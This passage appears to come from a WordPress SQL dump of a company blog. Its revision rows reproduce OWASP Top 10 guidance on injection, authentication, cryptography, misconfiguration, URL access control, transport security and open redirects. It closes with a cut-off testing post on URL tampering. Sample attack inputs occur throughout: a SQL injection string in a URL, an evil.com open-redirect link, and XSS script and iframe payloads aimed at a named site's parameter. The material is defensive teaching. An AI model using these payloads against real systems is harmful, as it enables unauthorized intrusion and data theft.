security requires having a secure configuration defined and deployed for the application, frameworks, application server, web server, database server, and platform. All these settings should be defined, implemented, and maintained as many are not shipped with secure defaults. This includes keeping all software up to date, including all code libraries used by the application.\r\n\r\nAttacker accesses default accounts, unused pages, unpatched flaws, unprotected files and directories, etc. to gain unauthorized access to or knowledge of the system.\r\n\r\nSecurity misconfiguration can happen at any level of an application stack, including the platform, web server, application server, framework, and custom code. Developers and network administrators need to work together to ensure that the entire stack is configured properly. Automated scanners are useful for detecting missing patches, misconfigurations, use of default accounts, unnecessary services, etc.\r\n\r\nSuch flaws frequently give attackers unauthorized access to some system data or functionality. Occasionally, such flaws result in a complete system compromise.\r\n\r\n\r\n<strong>Am I Vulnerable?</strong>\r\nHave you performed the proper security hardening across the entire application stack?\r\n\r\n1. Do you have a process for keeping all your software up to date? This includes the OS, Web/App Server, DBMS, applications, and all code libraries.\r\n2. Is everything unnecessary disabled, removed, or not installed (e.g. ports, services, pages, accounts, privileges)?\r\n3. Are default account passwords changed or disabled?\r\n4. Is your error handling set up to prevent stack traces and other overly informative error messages from leaking?\r\n5. Are the security settings in your development frameworks (e.g., Struts, Spring, and ASP.NET) and libraries understood and configured properly?\r\n\r\nA concerted, repeatable process is required to develop and maintain a proper application security configuration.\r\n\r\n<strong>Example Attack Scenarios</strong>\r\nScenario #1: Your application relies on a powerful framework like Struts or Spring. XSS flaws are found in these framework components you rely on. An update is released to fix these flaws but you don’t update your libraries. Until you do, attackers can easily find and exploit these flaws in your app.\r\n\r\nScenario #2: The app server admin console is automatically installed and not removed. Default accounts aren’t changed. Attacker discovers the standard admin pages are on your server, logs in with default passwords, and takes over.\r\n\r\nScenario #3: Directory listing is not disabled on your server. Attacker discovers she can simply list directories to find any file. Attacker finds and downloads all your compiled Java classes, which she reverses to get all your custom code. She then find a serious access control flaw in your application.\r\n\r\nScenario #4: App server configuration allows stack traces to be returned to users, potentially exposing underlying flaws. Attackers love the extra information error messages provide.\r\n\r\n<strong>How Do I Prevent This?</strong>\r\nThe primary recommendations are to establish all of the following:\r\n\r\n1. A repeatable hardening process that makes it fast and easy to deploy another environment that is properly locked down. Development, QA, and production environments should all be configured identically. This process should be automated to minimize the effort required to setup a new secure environment.\r\n2. A process for keeping abreast of and deploying all new software updates and patches in a timely manner to each deployed environment. This need to include all code libraries as well, which are frequently overlooked.\r\n3. A strong application architecture that provides good separation and security between components.\r\n4. Consider running scans and doing audits periodically to help detect future misconfigurations or missing patches.\r\n\r\n<strong>5. Failure to Restrict URL Access: Impact MODERATE</strong>\r\n\r\nThreat Agents: Anyone with network access can send your application a request. Could anonymous users access a private page or regular users a privileged page?\r\n\r\nAttacker, who is an authorized system user, simply changes the URL to a privileged page. Is access granted? Anonymous users could access private pages that aren’t protected.\r\n\r\nApplications are not always protecting page requests properly. Sometimes, URL protection is managed via configuration, and the system is misconfigured. Sometimes, developers must include the proper code checks, and they forget. Detecting such flaws is easy. The hardest part is identifying which pages (URLs) exist to attack.\r\n\r\nSuch flaws allow attackers to access unauthorized functionality. Administrative functions are key targets for this type of attack.\r\n\r\n<strong>Am I Vulnerable?</strong>\r\nThe best way to find out if an application has failed to properly restrict URL access is to verify every page. Consider for each page, is the page supposed to be public or private. If a private page:\r\n\r\n1. Is authentication required to access that page?\r\n2. Is it supposed to be accessible to ANY authenticated user? If not, is an authorization check made to ensure the user has permission to access that page?\r\nExternal security mechanisms frequently provide authentication and authorization checks for page access. Verify they are properly configured for every page. If code level protection is used, verify that code level protection is in place for every required page. Penetration testing can also verify whether proper protection is in place.\r\n\r\n\r\n<strong>Example Attack Scenario</strong>\r\nThe attacker simply forces browses to target URLs. Consider the following URLs which are both supposed to require authentication. Admin rights are also required for access to the “admin_getappInfo” page.\r\n\r\nhttp://example.com/app/getappInfo\r\n\r\nhttp://example.com/app/admin_getappInfo\r\n\r\nIf the attacker is not authenticated, and access to either page is granted, then unauthorized access was allowed. If an authenticated, non-admin, user is allowed to access the “admin_getappInfo”page, this is a flaw, and may lead the attacker to more improperly protected admin pages.\r\n\r\nSuch flaws are frequently introduced when links and buttons are simply not displayed to unauthorized users, but the application fails to protect the pages they target.\r\n\r\n\r\n<strong>How Do I Prevent This?</strong>\r\nPreventing unauthorized URL access requires selecting an approach for requiring proper authentication and proper authorization for each page. Frequently, such protection is provided by one or more components external to the application code. Regardless of the mechanism(s), all of the following are recommended:\r\n\r\n1. The authentication and authorization policies be role based, to minimize the effort required to maintain these policies.\r\n2. The policies should be highly configurable, in order to minimize any hard coded aspects of the policy.\r\n3. The enforcement mechanism(s) should deny all access by default, requiring explicit grants to specific users and roles for access to every page.\r\n4. If the page is involved in a workflow, check to make sure the conditions are in the proper state to allow access.\r\n\r\n\r\n<strong>6. Insufficient Transport Layer Protection: Impact MODERATE</strong>\r\n\r\nThreat Agents: Consider anyone who can monitor the network traffic of your users. If the application is on the internet, who knows how your users access it. Don’t forget back end connections.\r\n\r\nMonitoring users’ network traffic can be difficult, but is sometimes easy. The primary difficulty lies in monitoring the proper network’s traffic while users are accessing the vulnerable site.\r\n\r\nApplications frequently do not protect network traffic. They may use SSL/TLS during authentication, but not elsewhere, exposing data and session IDs to interception. Expired or improperly configured certificates may also be used.\r\n\r\nDetecting basic flaws is easy. Just observe the site’s network traffic. More subtle flaws require inspecting the design of the application and the server configuration.\r\n\r\nSuch flaws expose individual users’ data and can lead to account theft. If an admin account was compromised, the entire site could be exposed. Poor SSL setup can also facilitate phishing and MITM attacks.\r\n\r\n\r\n<strong>Am I Vulnerable?</strong>\r\nThe best way to find out if an application has insufficient transport layer protection is to verify that:\r\n1. SSL is used to protect all authentication related traffic.\r\n2. SSL is used for all resources on all private pages and services. This protects all data and session tokens that are exchanged. Mixed SSL on a page should be avoided since it causes user warnings in the browser, and may expose the user’s session ID.\r\n3. Only strong algorithms are supported.\r\n4. All session cookies have their ‘secure’ flag set so the browser never transmits them in the clear.\r\n5. The server certificate is legitimate and properly configured for that server. This includes being issued by an authorized issuer, not expired, has not been revoked, and it matches all domains the site uses.\r\n\r\n<b>\r\n<strong>Example Attack Scenarios</strong></b>\r\nScenario #1: A site simply doesn’t use SSL for all pages that require authentication. Attacker simply monitors network traffic (like an open wireless or their neighborhood cable modem network), and observes an authenticated victim’s session cookie. Attacker then replays this cookie and takes over the user’s session.\r\n\r\nScenario #2: A site has improperly configured SSL certificate which causes browser warnings for its users. Users have to accept such warnings and continue, in order to use the site. This causes users to get accustomed to such warnings. Phishing attack against the site’s customers lures them to a lookalike site which doesn’t have a valid certificate, which generates similar browser warnings. Since victims are accustomed to such warnings, they proceed on and use the phishing site, giving away passwords or other private data.\r\n\r\nScenario #3: A site simply uses standard ODBC/JDBC for the database connection, not realizing all traffic is in the clear.\r\n\r\n\r\n<strong>How Do I Prevent This?</strong>\r\nProviding proper transport layer protection can affect the site design. It’s easiest to require SSL for the entire site. For performance reasons, some sites use SSL only on private pages. Others use SSL only on ‘critical’ pages, but this can expose session IDs and other sensitive data. At a minimum, do all of the following:\r\n\r\n1. Require SSL for all sensitive pages. Non-SSL requests to these pages should be redirected to the SSL page.\r\n2. Set the ‘secure’ flag on all sensitive cookies.\r\n3. Configure your SSL provider to only support strong (e.g., FIPS 140-2 compliant) algorithms.\r\n4. Ensure your certificate is valid, not expired, not revoked, and matches all domains used by the site.\r\n5. Backend and other connections should also use SSL or other encryption technologies.\r\n\r\n\r\nFor a more complete set of requirements and problems to avoid in this area, see the ASVS requirements on Communications Security (http://www.owasp.org/index.php/ASVS).\r\n\r\n\r\n<strong>7. Unvalidated Redirects and Forwards: Impact MODERATE</strong><b>\r\n</b>\r\nWeb applications frequently redirect and forward users to other pages and websites, and use untrusted data to determine the destination pages. Without proper validation, attackers can redirect victims to phishing or malware sites, or use forwards to access unauthorized pages.\r\n\r\nThreat Agents: Consider anyone who can trick your users into submitting a request to your website. Any website or other HTML feed that your users use could do this.\r\n\r\nAttacker links to unvalidated redirect and tricks victims into clicking it. Victims are more likely to click on it, since the link is to a valid site. Attacker targets unsafe forward to bypass security checks.\r\n\r\nApplications frequently redirect users to other pages, or use internal forwards in a similar manner. Sometimes the target page is specified in an unvalidated parameter, allowing attackers to choose the destination page.\r\n\r\nDetecting unchecked redirects is easy. Look for redirects where you can set the full URL. Unchecked forwards are harder, since they target internal pages.\r\n\r\nSuch redirects may attempt to install malware or trick victims into disclosing passwords or other sensitive information. Unsafe forwards may allow access control bypass.\r\n\r\n\r\n<strong>Am I Vulnerable?</strong>\r\nThe best way to find out if an application has any unvalidated redirects or forwards is to:\r\n\r\n1. Review the code for all uses of redirect or forward (called a transfer in .NET). For each use, identify if the target URL is included in any parameter values. If so, verify the parameter(s) are validated to contain only an allowed destination, or element of a destination.\r\n2. Also, spider the site to see if it generates any redirects (HTTP response codes 300-307, typically 302). Look at the parameters supplied prior to the redirect to see if they appear to be a target URL or a piece of such a URL. If so, change the URL target and observe whether the site redirects to the new target.\r\n3. If code is unavailable, check all parameters to see if they look like part of a redirect or forward URL destination and test those that do.\r\n\r\n\r\n<strong>Example Attack Scenarios</strong>\r\nScenario #1: The application has a page called “redirect.jsp” which takes a single parameter named “url”. The attacker crafts a malicious URL that redirects users to a malicious site that performs phishing and installs malware.\r\n\r\nhttp://www.example.com/redirect.jsp?url=evil.com\r\n\r\nScenario #2: The application uses forward to route requests between different parts of the site. To facilitate this, some pages use a parameter to indicate where the user should be sent if a transaction is successful. In this case, the attacker crafts a URL that will pass the application’s access control check and then forward the attacker to an administrative function that she would not normally be able to access.\r\n\r\nhttp://www.example.com/boring.jsp?fwd=admin.jsp\r\n\r\n\r\nFor more info refer OWASP Article on Open Redirects (http://www.owasp.org/index.php/Open_redirect)\r\n\r\n\r\n\r\n<strong>For Developers:</strong>\r\n\r\nTo help organizations and developers reduce their application security risks in a cost effective manner, OWASP has produced numerous free and open resources that one can use to address application security in an organization. The following are some of the many resources OWASP has produced to help organizations produce secure web applications.\r\n\r\nApplication Security Requirements: To produce a secure web application, you must define what secure means for that application. OWASP recommends you use the OWASP Application Security Verification Standard (http://www.owasp.org/index.php/ASVS ), as a guide for setting the security requirements for your application(s).\r\n\r\nApplication Security Architecture: Rather than retrofitting security into your applications, it is far more cost effective to design the security in from the start. OWASP recommends the OWASP Developer’s Guide (http://www.owasp.org/index.php/Guide ), as a good starting point for guidance on how to design security in from the beginning.\r\n\r\nStandard Security Controls: •Building strong and usable security controls is exceptionally difficult. Providing developers with a set of standard security controls radically simplifies the development of secure applications. OWASP recommends the OWASP Enterprise Security API (ESAPI) project as a model for the security APIs needed to produce secure web applications. ESAPI provides reference implementations in Java, .NET, PHP, Classic ASP, Python, and Cold Fusion (http://www.owasp.org/index.php/ESAPI ).\r\n\r\nSecure Development Lifecycle: To improve the process your organization follows when building such applications, OWASP recommends the OWASP Software Assurance Maturity Model (http://www.owasp.org/index.php/SAMM ). This model helps organizations formulate and implement a strategy for software security that is tailored to the specific risks facing their organization.\r\n\r\nApplication Security Education: The OWASP Education Project (http://www.owasp.org/index.php/Category:OWASP_Education_Project ) provides training materials to help educate developers on web application security and has compiled a large list of OWASP Educational Presentations. For hands-on learning about vulnerabilities, try OWASP WebGoat. To stay current, come to an OWASP AppSec Conference, OWASP Conference Training, or local OWASP Chapter meetings.','OWASP Top 7 Application Moderate Security Risks','','inherit','open','open','','199-revision-v1','','','2014-07-21 12:11:03','2014-07-21 12:11:03','',199,'http://localhost/yalavarthitechnologies/blog/?p=201',0,'revision','',0),(203,1,'2014-07-21 12:13:22','2014-07-21 12:13:22','<strong>Summary:</strong>\r\n\r\n<strong>1. Injection: Impact SEVERE</strong>\r\n\r\nInjection flaws, such as SQL, OS, and LDAP injection, occur when untrusted data is sent to an interpreter as part of a command or query. The attacker’s hostile data can trick the interpreter into executing unintended commands or accessing unauthorized data.\r\n\r\nThreat Agents: Consider anyone who can send untrusted data to the system, including external users, internal users, and administrators.\r\n\r\nAttack Vectors: (Exploitability EASY) Attacker sends simple text-based attacks that exploit the syntax of the targeted interpreter. Almost any source of data can be an injection vector, including internal sources.\r\n\r\nSecurity Weakness: (Detectability AVERAGE) Injection flaws occur when an application sends untrusted data to an interpreter. Injection flaws are very prevalent, particularly in legacy code, often found in SQL queries, LDAP queries, XPath queries, OS commands, program arguments, etc. Injection flaws are easy to discover when examining code, but more difficult via testing. Scanners and fuzzers can help attackers find them.\r\n\r\nTechnical Impacts: Impact SEVERE\r\n\r\nInjection can result in data loss or corruption, lack of accountability, or denial of access. Injection can sometimes lead to complete host takeover.\r\n\r\n<strong>Am I Vulnerable To Injection?</strong>\r\n\r\nThe best way to find out if an application is vulnerable to injection is to verify that all use of interpreters clearly separates untrusted data from the command or query. For SQL calls, this means using bind variables in all prepared statements and stored procedures, and avoiding dynamic queries.\r\n\r\nChecking the code is a fast and accurate way to see if the application uses interpreters safely. Code analysis tools can help a security analyst find the use of interpreters and trace the data flow through the application. Penetration testers can validate these issues by crafting exploits that confirm the vulnerability.\r\n\r\nAutomated dynamic scanning which exercises the application may provide insight into whether some exploitable injection flaws exist. Scanners cannot always reach interpreters and have difficulty detecting whether an attack was successful. Poor error handling makes injection flaws easier to discover.\r\n\r\n<strong>Example Attack Scenario</strong>\r\n\r\nThe application uses untrusted data in the construction of the following vulnerable SQL call:\r\n\r\nString query = \"SELECT * FROM accounts WHERE custID=\'\" + request.getParameter (\"id\") +\"\'\";\r\n\r\nThe attacker modifies the ‘id’ parameter in their browser to send: \' or \'1\'=\'1. This changes the meaning of the query to return all the records from the accounts database, instead of only the intended customer’s.\r\n\r\nhttp://example.com/app/accountView?id=\' or \'1\'=\'1\r\n\r\nIn the worst case, the attacker uses this weakness to invoke special stored procedures in the database that enable a complete takeover of the database and possibly even the server hosting the database.\r\n\r\n<strong>How Do I Prevent Injection?</strong>\r\n\r\nPreventing injection requires keeping untrusted data separate from commands and queries.\r\n\r\n1. The preferred option is to use a safe API which avoids the use of the interpreter entirely or provides a parameterized interface. Be careful of APIs, such as stored procedures, that are parameterized, but can still introduce injection under the hood.\r\n\r\n2. If a parameterized API is not available, you should carefully escape special characters using the specific escape syntax for that interpreter. OWASP’s ESAPI has some of these escaping routines.\r\n\r\n3. Positive or “white list” input validation with appropriate canonicalization is also recommended, but is nota complete defense as many applications require special characters in their input. OWASP’s ESAPI has an extensible library of white list input validation routines.\r\n\r\nRefer OWASP SQL Injection Prevention Cheat Sheet:\r\n\r\nhttp://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet\r\n\r\n&nbsp;\r\n\r\n<strong>2. Broken Authentication and Session Management: Impact SEVERE</strong>\r\n\r\nApplication functions related to authentication and session management are often not implemented correctly, allowing attackers to compromise passwords, keys, session tokens, or exploit other implementation flaws to assume other users’ identities.\r\n\r\nDevelopers frequently build custom authentication and session management schemes, but building these correctly is hard. As a result, these custom schemes frequently have flaws in areas such as logout, password management, timeouts, remember me, secret question, account update, etc. Finding such flaws can sometimes be difficult, as each implementation is unique.\r\n\r\nSuch flaws may allow some or even all accounts to be attacked. Once successful, the attacker can do anything the victim could do. Privileged accounts are frequently targeted.\r\n\r\n<strong>Am I Vulnerable?</strong>\r\n\r\nThe primary assets to protect are credentials and session IDs.\r\n\r\n1. Are credentials always protected when stored using hashing or encryption?\r\n\r\n2. Can credentials be guessed or overwritten through weak account management functions (e.g., account creation, change password, recover password, weak session IDs)?\r\n\r\n3. Are session IDs exposed in the URL (e.g., URL rewriting)?\r\n\r\n4. Are session IDs vulnerable to session fixation attacks?\r\n\r\n5. Do session IDs timeout and can users log out?\r\n\r\n6. Are session IDs rotated after successful login?\r\n\r\n7. Are passwords, session IDs, and other credentials sent only over TLS connections?\r\n\r\n&nbsp;\r\n\r\n<strong>Example Attack Scenarios</strong>\r\n\r\nScenario #1: Airline reservations application supports URL rewriting, putting session IDs in the URL:\r\n\r\nhttp://example.com/sale/saleitems;jsessionid=2P0OC2JDPXM0OQSNDLPSKHCJUN2JV?dest=Hawaii\r\n\r\nAn authenticated user of the site wants to let his friends know about the sale. He e-mails the above link without knowing he is also giving away his session ID. When his friends use the link they will use his session and credit card.\r\n\r\nScenario #2: Application’s timeouts aren’t set properly. User uses a public computer to access site. Instead of selecting “logout” the user simply closes the browser tab and walks away. Attacker uses the same browser an hour later, and that browser is still authenticated.\r\n\r\nScenario #3: Insider or external attacker gains access to the system’s password database. User passwords are not encrypted, exposing every user’s password to the attacker.\r\n\r\n<strong>How Do I Prevent This?</strong>\r\n\r\nThe primary recommendation for an organization is to make available to developers:\r\n\r\n1. A single set of strong authentication and session management controls. Such controls should strive to:\r\n\r\na) Meet all the authentication and session management requirements defined in OWASP’s Application Security Verification Standard (ASVS) areas V2 (Authentication) and V3 (Session Management).\r\n\r\nb) Have a simple interface for developers. Consider the ESAPI Authenticator and User APIs as good examples to emulate, use, or build upon.\r\n\r\n2. Strong efforts should also be made to avoid XSS flaws which can be used to steal session IDs.\r\n\r\n<b>\r\n<strong>3. Insecure Cryptographic Storage: Impact SEVERE</strong></b>\r\n\r\nMany web applications do not properly protect sensitive data, such as credit cards, SSNs, and authentication credentials, with appropriate encryption or hashing. Attackers may steal or modify such weakly protected data to conduct identity theft, credit card fraud, or other crimes.\r\n\r\nThreat Agents: Consider the users of your system. Would they like to gain access to protected data they aren’t authorized for? What about internal administrators?\r\n\r\nAttackers typically don’t break the crypto. They break something else, such as find keys, get cleartext copies of data, or access data via channels that automatically decrypt.\r\n\r\nThe most common flaw in this area is simply not encrypting data that deserves encryption. When encryption is employed, unsafe key generation and storage, not rotating keys, and weak algorithm usage is common. Use of weak or unsalted hashes to protect passwords is also common. External attackers have difficulty detecting such flaws due to limited access. They usually must exploit something else first to gain the needed access.\r\n\r\nFailure frequently compromises all data that should have been encrypted. Typically this information includes sensitive data such as health records, credentials, personal data, credit cards, etc.\r\n\r\n<strong>Am I Vulnerable?</strong>\r\n\r\nThe first thing you have to determine is which data is sensitive enough to require encryption. For example, passwords, credit cards, health records, and personal information should be encrypted. For all such data, ensure:\r\n\r\n1. It is encrypted everywhere it is stored long term, particularly in backups of this data.\r\n\r\n2. Only authorized users can access decrypted copies of the data.\r\n\r\n3. A strong standard encryption algorithm is used.\r\n\r\n4. A strong key is generated, protected from unauthorized access, and key change is planned for.\r\n\r\n<strong>Example Attack Scenarios</strong>\r\n\r\nScenario #1: An application encrypts credit cards in a database to prevent exposure to end users. However, the database is set to automatically decrypt queries against the credit card columns, allowing a SQL injection flaw to retrieve all the credit cards in cleartext. The system should have been configured to allow only back end applications to decrypt them, not the front end web application.\r\n\r\nScenario #2: A backup tape is made of encrypted health records, but the encryption key is on the same backup. The tape never arrives at the backup center.\r\n\r\nScenario #3: The password database uses unsalted hashes to store everyone’s passwords. A file upload flaw allows an attacker to retrieve the password file. All the unsalted hashes can be brute forced in 4 weeks, while properly salted hashes would have taken over 3000 years.\r\n\r\n<strong>How Do I Prevent This?</strong>\r\n\r\nThe full perils of unsafe cryptography are well beyond the scope of this Top 10. That said, for all sensitive data deserving encryption, do all of the following, at a minimum:\r\n\r\n1. Considering the threats you plan to protect this data from (e.g., insider attack, external user), make sure you encrypt all such data at rest in a manner that defends against these threats.\r\n\r\n2. Ensure offsite backups are encrypted, but the keys are managed and backed up separately.\r\n\r\n3. Ensure appropriate strong standard algorithms and strong keys are used, and key management is in place.\r\n\r\n4. Ensure passwords are hashed with a strong standard algorithm and an appropriate salt is used.\r\n\r\n5. Ensure all keys and passwords are protected from unauthorized access.\r\n\r\nFor a more complete set of requirements and problems to avoid in this area, see the ASVS requirements on Cryptography (<a href=\"http://www.owasp.org/index.php/ASVS\">http://www.owasp.org/index.php/ASVS</a>).','OWASP Top 3 Application Severe Security Risks','','inherit','open','open','','200-revision-v1','','','2014-07-21 12:13:22','2014-07-21 12:13:22','',200,'http://localhost/yalavarthitechnologies/blog/?p=203',0,'revision','',0),(204,1,'2014-07-21 12:15:10','2014-07-21 12:15:10','<strong>Summary:</strong>\r\n\r\nA jQuery plugin that adds spellcheck support to inputs. It uses Google\'s spell checking API and requires a server to handle the communication with the API\r\n\r\nAn example php implementation is provided in the following link\r\n\r\n<a href=\"http://github.com/brandonaaron/jquery-spellcheck\" target=\"_blank\">http://github.com/brandonaaron/jquery-spellcheck</a>','JQuery Spellcheck Plugin','','publish','open','open','','jquery-spellcheck-plugin','','','2014-07-21 12:15:10','2014-07-21 12:15:10','',0,'http://localhost/yalavarthitechnologies/blog/?p=204',0,'post','',0),(205,1,'2014-07-21 12:14:11','2014-07-21 12:14:11','<strong>Summary:</strong>\n\n<strong>1. Injection: Impact SEVERE</strong>\n\nInjection flaws, such as SQL, OS, and LDAP injection, occur when untrusted data is sent to an interpreter as part of a command or query. The attacker’s hostile data can trick the interpreter into executing unintended commands or accessing unauthorized data.\n\nThreat Agents: Consider anyone who can send untrusted data to the system, including external users, internal users, and administrators.\n\nAttack Vectors: (Exploitability EASY) Attacker sends simple text-based attacks that exploit the syntax of the targeted interpreter. Almost any source of data can be an injection vector, including internal sources.\n\nSecurity Weakness: (Detectability AVERAGE) Injection flaws occur when an application sends untrusted data to an interpreter. Injection flaws are very prevalent, particularly in legacy code, often found in SQL queries, LDAP queries, XPath queries, OS commands, program arguments, etc. Injection flaws are easy to discover when examining code, but more difficult via testing. Scanners and fuzzers can help attackers find them.\n\nTechnical Impacts: Impact SEVERE\n\nInjection can result in data loss or corruption, lack of accountability, or denial of access. Injection can sometimes lead to complete host takeover.\n\n<strong>Am I Vulnerable To Injection?</strong>\n\nThe best way to find out if an application is vulnerable to injection is to verify that all use of interpreters clearly separates untrusted data from the command or query. For SQL calls, this means using bind variables in all prepared statements and stored procedures, and avoiding dynamic queries.\n\nChecking the code is a fast and accurate way to see if the application uses interpreters safely. Code analysis tools can help a security analyst find the use of interpreters and trace the data flow through the application. Penetration testers can validate these issues by crafting exploits that confirm the vulnerability.\n\nAutomated dynamic scanning which exercises the application may provide insight into whether some exploitable injection flaws exist. Scanners cannot always reach interpreters and have difficulty detecting whether an attack was successful. Poor error handling makes injection flaws easier to discover.\n\n<strong>Example Attack Scenario</strong>\n\nThe application uses untrusted data in the construction of the following vulnerable SQL call:\n\nString query = \"SELECT * FROM accounts WHERE custID=\'\" + request.getParameter (\"id\") +\"\'\";\n\nThe attacker modifies the ‘id’ parameter in their browser to send: \' or \'1\'=\'1. This changes the meaning of the query to return all the records from the accounts database, instead of only the intended customer’s.\n\nhttp://example.com/app/accountView?id=\' or \'1\'=\'1\n\nIn the worst case, the attacker uses this weakness to invoke special stored procedures in the database that enable a complete takeover of the database and possibly even the server hosting the database.\n\n<strong>How Do I Prevent Injection?</strong>\n\nPreventing injection requires keeping untrusted data separate from commands and queries.\n\n1. The preferred option is to use a safe API which avoids the use of the interpreter entirely or provides a parameterized interface. Be careful of APIs, such as stored procedures, that are parameterized, but can still introduce injection under the hood.\n\n2. If a parameterized API is not available, you should carefully escape special characters using the specific escape syntax for that interpreter. OWASP’s ESAPI has some of these escaping routines.\n\n3. Positive or “white list” input validation with appropriate canonicalization is also recommended, but is nota complete defense as many applications require special characters in their input. OWASP’s ESAPI has an extensible library of white list input validation routines.\n\nRefer OWASP SQL Injection Prevention Cheat Sheet:\n\nhttp://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet\n\n&nbsp;\n\n<strong>2. Broken Authentication and Session Management: Impact SEVERE</strong>\n\nApplication functions related to authentication and session management are often not implemented correctly, allowing attackers to compromise passwords, keys, session tokens, or exploit other implementation flaws to assume other users’ identities.\n\nDevelopers frequently build custom authentication and session management schemes, but building these correctly is hard. As a result, these custom schemes frequently have flaws in areas such as logout, password management, timeouts, remember me, secret question, account update, etc. Finding such flaws can sometimes be difficult, as each implementation is unique.\n\nSuch flaws may allow some or even all accounts to be attacked. Once successful, the attacker can do anything the victim could do. Privileged accounts are frequently targeted.\n\n<strong>Am I Vulnerable?</strong>\n\nThe primary assets to protect are credentials and session IDs.\n\n1. Are credentials always protected when stored using hashing or encryption?\n\n2. Can credentials be guessed or overwritten through weak account management functions (e.g., account creation, change password, recover password, weak session IDs)?\n\n3. Are session IDs exposed in the URL (e.g., URL rewriting)?\n\n4. Are session IDs vulnerable to session fixation attacks?\n\n5. Do session IDs timeout and can users log out?\n\n6. Are session IDs rotated after successful login?\n\n7. Are passwords, session IDs, and other credentials sent only over TLS connections?\n\n&nbsp;\n\n<strong>Example Attack Scenarios</strong>\n\nScenario #1: Airline reservations application supports URL rewriting, putting session IDs in the URL:\n\nhttp://example.com/sale/saleitems;jsessionid=2P0OC2JDPXM0OQSNDLPSKHCJUN2JV?dest=Hawaii\n\nAn authenticated user of the site wants to let his friends know about the sale. He e-mails the above link without knowing he is also giving away his session ID. When his friends use the link they will use his session and credit card.\n\nScenario #2: Application’s timeouts aren’t set properly. User uses a public computer to access site. Instead of selecting “logout” the user simply closes the browser tab and walks away. Attacker uses the same browser an hour later, and that browser is still authenticated.\n\nScenario #3: Insider or external attacker gains access to the system’s password database. User passwords are not encrypted, exposing every user’s password to the attacker.\n\n<strong>How Do I Prevent This?</strong>\n\nThe primary recommendation for an organization is to make available to developers:\n\n1. A single set of strong authentication and session management controls. Such controls should strive to:\n\na) Meet all the authentication and session management requirements defined in OWASP’s Application Security Verification Standard (ASVS) areas V2 (Authentication) and V3 (Session Management).\n\nb) Have a simple interface for developers. Consider the ESAPI Authenticator and User APIs as good examples to emulate, use, or build upon.\n\n2. Strong efforts should also be made to avoid XSS flaws which can be used to steal session IDs.\n\n<b>\n<strong>3. Insecure Cryptographic Storage: Impact SEVERE</strong></b>\n\nMany web applications do not properly protect sensitive data, such as credit cards, SSNs, and authentication credentials, with appropriate encryption or hashing. Attackers may steal or modify such weakly protected data to conduct identity theft, credit card fraud, or other crimes.\n\nThreat Agents: Consider the users of your system. Would they like to gain access to protected data they aren’t authorized for? What about internal administrators?\n\nAttackers typically don’t break the crypto. They break something else, such as find keys, get cleartext copies of data, or access data via channels that automatically decrypt.\n\nThe most common flaw in this area is simply not encrypting data that deserves encryption. When encryption is employed, unsafe key generation and storage, not rotating keys, and weak algorithm usage is common. Use of weak or unsalted hashes to protect passwords is also common. External attackers have difficulty detecting such flaws due to limited access. They usually must exploit something else first to gain the needed access.\n\nFailure frequently compromises all data that should have been encrypted. Typically this information includes sensitive data such as health records, credentials, personal data, credit cards, etc.\n\n<strong>Am I Vulnerable?</strong>\n\nThe first thing you have to determine is which data is sensitive enough to require encryption. For example, passwords, credit cards, health records, and personal information should be encrypted. For all such data, ensure:\n\n1. It is encrypted everywhere it is stored long term, particularly in backups of this data.\n\n2. Only authorized users can access decrypted copies of the data.\n\n3. A strong standard encryption algorithm is used.\n\n4. A strong key is generated, protected from unauthorized access, and key change is planned for.\n\n<strong>Example Attack Scenarios</strong>\n\nScenario #1: An application encrypts credit cards in a database to prevent exposure to end users. However, the database is set to automatically decrypt queries against the credit card columns, allowing a SQL injection flaw to retrieve all the credit cards in cleartext. The system should have been configured to allow only back end applications to decrypt them, not the front end web application.\n\nScenario #2: A backup tape is made of encrypted health records, but the encryption key is on the same backup. The tape never arrives at the backup center.\n\nScenario #3: The password database uses unsalted hashes to store everyone’s passwords. A file upload flaw allows an attacker to retrieve the password file. All the unsalted hashes can be brute forced in 4 weeks, while properly salted hashes would have taken over 3000 years.\n\n<strong>How Do I Prevent This?</strong>\n\nThe full perils of unsafe cryptography are well beyond the scope of this Top 10. That said, for all sensitive data deserving encryption, do all of the following, at a minimum:\n\n1. Considering the threats you plan to protect this data from (e.g., insider attack, external user), make sure you encrypt all such data at rest in a manner that defends against these threats.\n\n2. Ensure offsite backups are encrypted, but the keys are managed and backed up separately.\n\n3. Ensure appropriate strong standard algorithms and strong keys are used, and key management is in place.\n\n4. Ensure passwords are hashed with a strong standard algorithm and an appropriate salt is used.\n\n5. Ensure all keys and passwords are protected from unauthorized access.\n\nFor a more complete set of requirements and problems to avoid in this area, see the ASVS requirements on Cryptography (<a href=\"http://www.owasp.org/index.php/ASVS\">http://www.owasp.org/index.php/ASVS</a>).','OWASP Top 3 Application Severe Security Risks','','inherit','open','open','','200-autosave-v1','','','2014-07-21 12:14:11','2014-07-21 12:14:11','',200,'http://localhost/yalavarthitechnologies/blog/?p=205',0,'revision','',0),(206,1,'2014-07-21 12:15:10','2014-07-21 12:15:10','<strong>Summary:</strong>\r\n\r\nA jQuery plugin that adds spellcheck support to inputs. It uses Google\'s spell checking API and requires a server to handle the communication with the API\r\n\r\nAn example php implementation is provided in the following link\r\n\r\n<a href=\"http://github.com/brandonaaron/jquery-spellcheck\" target=\"_blank\">http://github.com/brandonaaron/jquery-spellcheck</a>','JQuery Spellcheck Plugin','','inherit','open','open','','204-revision-v1','','','2014-07-21 12:15:10','2014-07-21 12:15:10','',204,'http://localhost/yalavarthitechnologies/blog/?p=206',0,'revision','',0),(207,1,'2014-07-21 12:18:39','2014-07-21 12:18:39','<strong>Summary:</strong>\r\n\r\n<b>URL Tampering:</b>\r\n\r\n&nbsp;\r\n\r\nModify a parameter value in the query string to check if the server accepts it.\r\n\r\n&nbsp;\r\n\r\nReplace the parameter value with the below mentioned values.\r\n\r\n&nbsp;\r\n\r\n1. Original URL -&gt; http://www.collabor.com/bigidea/index/bigidea-details?big_id=MjY=\r\n\r\n&nbsp;\r\n\r\n2. Modified URL -&gt; http://www.collabor.com/bigidea/index/bigidea-details?big_id=&lt;script&gt; alert (‘Welcome’);&lt;/script&gt;\r\n\r\n&nbsp;\r\n\r\n3.\'\'\"&gt;&lt;iframe%20src=http://demo.testfire.net&gt;\'\r\n\r\n&nbsp;\r\n\r\n4. %22%20style%3D%22background: expression (alert (97918)) %22%\r\n\r\n&nbsp;\r\n\r\n5.\'\"&gt;&lt;/a&gt;&lt;script&gt;alert (27097) 